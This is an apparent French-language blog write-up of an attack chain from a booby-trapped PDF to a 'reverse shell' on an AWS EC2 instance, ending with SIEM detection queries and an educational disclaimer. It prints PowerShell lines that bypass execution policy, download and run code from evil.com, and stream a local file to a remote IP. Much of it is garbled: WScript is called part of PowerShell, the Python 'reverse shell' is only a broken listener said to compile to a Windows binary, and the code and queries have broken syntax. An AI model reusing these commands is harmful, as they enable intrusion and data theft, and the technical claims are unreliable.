
Une chaîne pratique qui commence par un fichier PDF anodin et se termine par un shell inversé sur une instance AWS EC2.
Une chaîne pratique qui commence par un fichier PDF anodin et aboutit à un shell inversé sur une instance AWS EC2
Tout commence sur le front de l’attaque. En utilisant l’objet WScript intégré de PowerShell, nous intégrons un script dans un PDF qui sera livré à un hôte Windows. La charge utile récupère un exécutable depuis un point de terminaison HTTP distant et l’écrit dans le système de fichiers local.
$payload = @"
var wsh = WScript.CreateObject("WScript.Shell");
wsh.Exec(
"powershell -NoProfile -ExecutionPolicy Bypass -Command "$ssh = new-Object System.Net.Sockets.TcpClient; $stream= $ssh.GetStream(); Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://evil.com/rcmd.py'); `
Get-Content -Path C:\Users\Admin\rcmd.py | Out-File -Encoding binary | % { $stream.Write($,0,$.Length) }"
"@
L’avantage clé est que le PDF ne nécessite pas d’étape de téléchargement séparée : il passe directement le relais à PowerShell, qui lance ensuite la phase suivante de la chaîne.
Une fois que le script du PDF s’exécute sur l’hôte cible (10.0.1.5), nous utilisons PowerShell pour ouvrir une connexion SMB vers une instance EC2 (54.231.12.41) et pousser l’exécutable fraîchement téléchargé à travers ce socket. Le même code peut être exécuté depuis n’importe quel poste de travail Windows, ce qui donne à l’attaquant un point de pivot discret au sein du réseau local d’entreprise.
$ssh = New-Object System.Net.Sockets.TcpClient $ssh.Connect('54.231.12.41',445) $stream = $ssh.GetStream() Invoke-Expression ( New-Object System.Net.WebClient).DownloadString( 'https://evil.com/rcmd.py') Get-Content -Path C:\Users\Admin\rcmd.py | Out-File -Encoding binary | % { $stream.Write($,0,$.Length) }
Le paquet SMB apparaît dans les journaux d’audit Windows comme un événement standard (EventID 4624), ce qui le rend facile à repérer dans la plupart des tableaux de bord SIEM.
La dernière pièce de notre chaîne est un petit shell inversé écrit en Python. Il écoute une connexion SSH en provenance d’EC2 vers le même hôte, affiche une ligne de débogage sur la console puis se termine. Une fois compilé en rcmd.py, il sera exécuté automatiquement par l’étape PowerShell ci-dessus.
#!/usr/bin/env python3 import socket
def main(): listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) listener.bind(('0.0.0.0', 22)) listener.listen(1)
while True:
conn, _ = listener.accept()
data = conn.recv(1024)
print('[+] Received %d bytes' % len(data))
if name == 'main': main()
Comme il s’agit d’un binaire statique qui s’exécute nativement sur Windows, il n’est pas nécessaire d’installer un agent ou un service supplémentaire sur l’hôte cible.
Les équipes de sécurité devraient partir du principe qu’une compromission est possible et élaborer des stratégies de détection en couches.
**Trafic anormal **
Filtrez les paquets SMB anormalement volumineux provenant de l’hôte cible.
index=siem_main sourcetype="netflow:smb" | where size > med(size) over last_week and host=="10.0.1.5" | stats count by _time, eventID, host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"
Utilisation mémoire élevée
La consommation mémoire du binaire pour montrer qu’il s’agit d’un processus non trivial sur l’hôte cible.
index=siem_main sourcetype="perf:memory" | where process=="rcmd.py" and mem > med(mem) over last_week and host=="10.0.1.5" | stats count by _time, eventID, host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"
**Fenêtre hors horaires de travail **
Les red teamers n’exécutent généralement pas pendant les heures de bureau, de peur que leur script n’alerte l’utilisateur d’une manière ou d’une autre. Cette requête examine le trafic à des moments où il serait inattendu.
index=siem_main sourcetype="powershell:smbaudit" | where _time >= "2025-08-01 02:00" and _time <= "2025-08-01 04:00" | stats count by host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"
Ce projet est destiné uniquement à des fins éducatives et de recherche. N’utilisez pas ces techniques dans des environnements non autorisés.